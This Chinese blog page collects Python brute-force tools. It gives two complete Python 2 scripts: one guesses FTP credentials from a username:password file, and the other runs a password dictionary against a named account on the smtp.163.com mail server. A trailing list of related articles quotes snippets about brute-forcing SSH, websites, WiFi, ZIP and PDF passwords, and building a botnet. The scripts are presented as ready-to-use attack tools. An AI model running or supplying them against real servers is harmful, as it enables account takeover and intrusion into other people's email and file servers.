1. 程式人生 > >Python暴力破解的收集

Python暴力破解的收集

1.  破解ftp:

import ftplib
def bruteLogin(hostname,passwdFile):
	pF=open(passwdFile,'r')
	for line in pF.readlines():
		userName=line.split(':')[0]
		passWord=line.split(':')[1].strip('\r').strip('\n')
		print "[+] Trying: "+userName+"/"+passWord
		try:
			ftp=ftplib.FTP(hostname)
			ftp.login(userName,passWord)
			print '\n[*] '+str(hostname)+\
			' FTP Logon Succeeded: '+userName+"/"+passWord
			ftp.quit()
			return (userName,passWord)
		except Exception,e:
			pass
	print '\n[-] Could not brute force FTP credentials.'
	return (None,None)
host='192.168.182.135'
passwdFile='userpass.txt'
bruteLogin(host,passwdFile)

2. 破解郵箱的:

#!/usr/bin/env python
#coding:utf-8

from smtplib import SMTP as smtp
import optparse
import time
def scanemail(uname,upass):
        s=smtp("smtp.163.com")
        try:
                s.ehlo()  #傳送ehlo命令,
                s.starttls() #初始化加密通道
                s.ehlo()  #再次傳送ehlo,這次是加密的
                s.login(uname,upass)
        except Exception,LoginError:
                print "[-]:%s : %s" %(uname,upass)
        else:
                out="[+]:%s : %s" %(uname,upass)  #如果成功了,就返回真值
                print out
                return True
        return False

def main():
        parser=optparse.OptionParser("usage: ./prog.py"+"-u <username> -d <passwordfile>")
        parser.add_option('-u',dest='uname',type='string',help='specify email name')
        parser.add_option('-d',dest='passwdfile',type='string',help='specify dictionary file')
        (options,args)=parser.parse_args()
        if (options.uname==None) | (options.passwdfile==None):
                print parser.usage
                exit(0)
        else:
                uname=options.uname
                passwdfile=options.passwdfile
        passFile=open(passwdfile)
        for line in passFile.readlines():
                password=line.strip('\n')
                if scanemail(uname,password):
                        break

if __name__=='__main__':
        main()



相關推薦

Python暴力破解收集

1.  破解ftp: import ftplib def bruteLogin(hostname,passwdFile): pF=open(passwdFile,'r') for line in pF.readlines(): userName=line.spli

GJCTF模擬題之python暴力破解網站管理員密碼

題目地址:http://www.czlgjbbq.top/GJCTF/brute.php php原始碼: <?php error_reporting(0); session_start(); if(empty($_COOKIE['f14g']) || empty($_SES

Python暴力破解人家網站,獲取VIP賬戶密碼!

今天極度無聊,不知道爬些什麼,就在各大網站逛啊逛啊,無意中逛到了某小網站,該網站竟然還設定了各種Vip才能使用的特權。我看到了瞬間就怒火中燒,都是些小功能,竟然還要各種充錢。   在這及不理智的情況下,我暴力破解了人家網站。具體思路與步驟如下: 爆破思路與分析: 1

python 暴力破解同事密碼(HTTP)

#-*- coding: utf-8 -*- import urllib,urllib2, cookielib cookie_support= urllib2.HTTPCookieProcessor(cookielib.CookieJar()) opener = urll

Python】HackBack(獲取暴力破解服務器密碼的IP來源)

split time get main ports import var api pre 1、前言 又在0x00sec上翻到好東東。 https://0x00sec.org/t/python-hackback-updated/882 帖子裏的腳本會得到那些暴力服務器密碼失敗

Python指令碼暴力破解FTP口令

目錄 判斷FTP伺服器是否允許匿名登入 暴力破解FTP口令 列出FTP目錄內的網頁檔案 綜合 環境:Windows python2.7.15 ftplib模組是python下用於ftp服務的模組 。 判斷FTP伺服器是否允許匿名登入 以下程

Python指令碼暴力破解SSH口令以及構建僵屍網路(pxssh)

目錄 暴力破解SSH口令 SSH遠端執行命令 構建僵屍網路 環境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect庫的ssh專用指令碼,他能用預先寫好的 login()、logout() 和 pro

破解密碼很難?利用Python自動編寫暴力破解字典,黑客必學技能!

  Python是一款非常強大的語言。用於測試時它非常有效,因此Python越來越受到歡迎。 因此,在此次教程中我將聊一聊如何在Python中生成字典,並將它用於任何你想要的用途。   前提要求 如果你用virtualenv搭建Python開發環境

python 暴力 PDF 口令破解程式

假定有一個加密的 PDF 檔案,你忘記了口令,但記得它是一個英語單詞。嘗試猜測遺忘的口令是很無聊的任務。作為替代,你可以寫一個程式,嘗試用所有可能的英語單詞來解密這個 PDF 檔案,直到找到有效的口令。這稱為暴力口令攻擊。從http://nostarch.com/automa

Python黑科技:暴力破解,你的密碼真的安全麼?

之前更新了不少文章,大概也瞭解到了大家都喜歡什麼樣的東西,比如像黑客,爬蟲,web開發,可能都是大家比較喜歡的。 那麼今天,我給大家帶來一個Python的暴力破解加密的壓縮檔案的方法(是不是壓縮檔案不重要)。 另外你會不會Python也不重要 首先,我們得說一下,如何開啟一個壓縮檔案,如

python實戰:暴力破解wifi密碼

工具: python3.0,pycharm python庫:pywifi,time 思路: 匯入模組 抓取網絡卡介面 斷開所有wifi 讀取密碼本 測試連線 設定睡眠時間 流程: 1.匯入模組 import pywifi from pywifi import c

如何用Python寫一個暴力破解加密壓縮包的程式

有些時候加密rar軟體經常會忘了密碼,但記得密碼的大概,於是乎用Python寫個程式來暴力破解吧: 首先要搞清楚如何用命令列來解壓縮,經研究,rar軟體解壓是用的unrar.exe,將這個程式拷貝到C:\windows,然後進入加密軟體包所在的資料夾,用命令列執行 下面的命

破解密碼很難? 利用Python自動編寫暴力破解字典, 黑客必學技能!

Python是一款非常強大的語言。用於測試時它非常有效,因此Python越來越受到歡迎。 因此,在此次教程中我將聊一聊如何在Python中生成字典,並將它用於任何你想要的用途。 前提要求 如果你用virtualenv搭建Python開發環境,請確保已經安裝了it

python程式設計】網站密碼暴力破解程式碼

1、pass1.txt需要從相關網站上下載,即密碼字典 2、使用python 此程式執行後列印密碼即可 #!/usr/bin/python #-*-coding:utf-8-*- import sys import httplib,urllib;  #載入模組 def P

python指令碼生成密碼字典,暴力破解伺服器root密碼

大概在一年多前,我想做一個用於暴力破解md5加密的程式,原理是預先通過組合字串,算出對應的md5加密,然後根據md5加密串來查詢對應的字串,這種方法從理論上是可行的,實際操作起來有一些困難。     有的時候,一旦自己產生了一個想法,就自然有非常大的動力去努

Python實現FTP暴力破解

最近在看《Violent Python》,記錄一些程式碼實現。 0x00 FTP暴力破解之PTYHON實現 需使用ftplib庫,書中採用單執行緒,這裡我使用了多執行緒完成,匿名登入的問題暫時沒有找機子試,如有問題可以探討~ 0x01 程式碼實現 import optpa

Python之FTP伺服器暴力破解(注入木馬)

密碼字典下載:[email protected]:qq_21792169/dictionary.gitftp.py#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib import optparse impo

基於Python的江蘇大學校園網暴力破解

Python是近幾年比較流行的解釋型語言。Python是純粹的自由軟體,原始碼和直譯器CPython遵循GPL的協議。最近有在學習Python,作為Python的入門的新手拿學校的校園網登陸練練手。 總體的設計思路: 1.模擬瀏覽器的器開啟登陸網頁 2.構造登陸表單 表單選

python編寫暴力破解zip文件程式

暴力破解ZIP壓縮檔案 編寫暴力破解Zip檔案要從學習zipfile庫的使用方法入手,首先開啟Python直譯器,用help('zipfile')命令來了解這個庫並重點看一下ZipFile類中的extractall()這個方法  ZipFile extract

SSH暴力破解Python-pxssh實現

最近在看《Violent Python》,記錄一些程式碼實現。 0x00 SSH暴力破解之Python-pexssh實現 Pxssh是一個包含了pexpect庫的專用指令碼,它能用預先寫好的login()、logout()、prompt()等函式直接與SSH進行互動。 簡單